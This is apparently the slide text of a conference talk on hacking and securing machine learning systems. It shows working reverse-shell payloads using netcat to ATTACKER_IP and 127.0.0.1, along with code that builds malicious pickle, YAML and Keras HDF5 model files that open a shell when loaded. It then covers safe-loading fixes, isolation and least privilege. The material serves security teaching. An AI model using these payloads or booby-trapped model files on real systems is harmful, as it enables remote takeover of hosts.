Hacking and Securing Machine Learning Environments and Systems Joshua Arvin Lat PyCon APAC 2022 

➤ Chief Technology Officer of NuWorks Interactive Labs ➤ AWS Machine Learning Hero ➤ Author of 📖 Machine Learning with Amazon SageMaker Cookbook 

Author of 📖 Machine Learning with Amazon SageMaker Cookbook 80 proven recipes for data scientists and developers to perform machine learning experiments and deployments 

CYBERSECURITY ATTACK CHAIN 

JUPYTER NOTEBOOK LIBRARIES, FRAMEWORKS, PACKAGES, AND DEPENDENCIES CUSTOM CODE DATASET INFRASTRUCTURE ML SERVICE 

ML SERVICE CUSTOM CODE DOCKER CONTAINER IMAGE INFERENCE ENDPOINT CONFIGURATION MODEL ARTIFACTS 

No content

REVERSE SHELL 

nc -nvl 14344 ATTACKER MACHINE VICTIM MACHINE MALICIOUS FILE mkfifo /tmp/ABC; cat /tmp/ABC | /bin/sh -i 2>&1 | nc ATTACKER_IP 14344 > /tmp/ABC 

PAYLOAD GENERATION 

def generate_random_string(): list_of_chars = random.choices( string.ascii_uppercase, k=5) return ''.join(list_of_chars) def generate_payload(ip="127.0.0.1", port="14344"): r = "/tmp/" + generate_random_string() commands = [ f'rm {r}; mkfifo {r}; cat {r} ', f'/bin/sh -i 2>&1', f'nc {ip} {port} > {r} ' ] return ' | '.join(commands) 

PAYLOAD = generate_payload() class SampleClass: def __reduce__(self): cmd = (PAYLOAD) return os.system, (cmd,) def generate_pickle(): obj = SampleClass() with open("model.pkl", "wb") as f: model = pickle.dump(obj, f) 

MALICIOUS PICKLE FILES 

python -m pickletools model.pkl 0: \x80 PROTO 3 2: c GLOBAL 'posix system' 16: q BINPUT 0 18: X BINUNICODE ' rm /tmp/UJTOU; mkfifo /tmp/UJTOU; cat /tmp/UJTOU | /bin/sh -i 2>&1 | nc 127.0.0.1 14344 > /tmp/UJTOU ' 123: q BINPUT 1 125: \x85 TUPLE1 126: q BINPUT 2 128: R REDUCE 129: q BINPUT 3 131: . STOP 

def load_model(): model = None with open("model.pkl", "rb") as f: model = pickle.load(f) return model @app.route("/predict", methods=["POST"]) def predict(): model = load_model() # get input value from request # perform prediction return '', 200 import torch torch.load("model.pkl") import joblib joblib.load("model.pkl") 

class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): SAFE_BUILTINS = {'range', 'complex', 'set'} if module == "builtins" and name in SAFE_BUILTINS: return getattr(builtins, name) raise pickle.UnpicklingError() with open("model.pkl", "rb") as f: model = RestrictedUnpickler(f).load() Load Pickle files securely? 

MALICIOUS YAML FILES 

import yaml import subprocess class Payload(object): def __reduce__(self): PAYLOAD = ' rm /tmp/FCMHH; mkfifo /tmp/FCMHH; cat /tmp/FCMHH | /bin/sh -i 2>&1 | nc 127.0.0.1 14344 > /tmp/FCMHH ' return (__import__('os').system,(PAYLOAD,)) def save_yaml(): with open(r'malicious.yaml', 'w') as file: yaml.dump(Payload(), file) 

!!python/object/apply:posix.system - rm /tmp/FCMHH; mkfifo /tmp/FCMHH; cat /tmp/FCMHH | /bin/sh -i 2>&1 | nc 127.0.0.1 14344 > /tmp/FCMHH import yaml def load_yaml(filename): output = None with open(filename, 'r') as file: output = yaml.load(file, Loader=yaml.Loader) return output 

import yaml def safely_load_yaml(filename): output = None with open(filename, 'r') as file: output = yaml.safe_load(file) return output Load YAML files securely? 

MALICIOUS HDF5 FILES 

def custom_layer(tensor): PAYLOAD = 'rm /tmp/FCMHH; mkfifo /tmp/FCMHH; cat /tmp/FCMHH | /bin/sh -i 2>&1 | nc 127.0.0.1 14344 > /tmp/FCMHH ' __import__('os').system(PAYLOAD) return tensor input_layer = Input(shape=(10), name="input_layer") lambda_layer = Lambda(custom_layer, name="lambda_layer")(input_layer) output_layer = Softmax(name="output_layer")(lambda_layer) model = Model(input_layer, output_layer, name="model") model.compile(optimizer=Adam(lr=0.0004), loss="categorical_crossentropy") model.save("model.h5") 

from tensorflow.keras.models import load_model load_model("model.h5") MALICIOUS FILE 

NETWORK ISOLATION 

nc -nvl 14344 ATTACKER MACHINE VICTIM MACHINE MALICIOUS FILE 

PRIVILEGE ESCALATION 

IAM USER IAM ROLE NOTEBOOK INSTANCE PERMITTED TO ACCESS ? PERMITTED TO ACCESS OR PERFORM THE FOLLOWING ACTIONS from sagemaker import get_execution_role role = get_execution_role() 

PRINCIPLE OF LEAST PRIVILEGE 

ATTACKS ON DATA PRIVACY & MODEL PRIVACY 

ATTACKS ON DATA PRIVACY & MODEL PRIVACY Model inversion attack Model extraction attack Membership inference attack Attribute inference attack De-anonynimization 

ACCOUNT ACTION MONITORING 

LAMBDA + SCIKIT-LEARN PREDICTION ENDPOINT API GATEWAY LAMBDA + TENSORFLOW PREDICTION ENDPOINT API GATEWAY LAMBDA + FB PROPHET PREDICTION ENDPOINT API GATEWAY 

AUTOMATED VULNERABILITY MANAGEMENT 

VULNERABILITY ASSESSMENT TOOL 

Thanks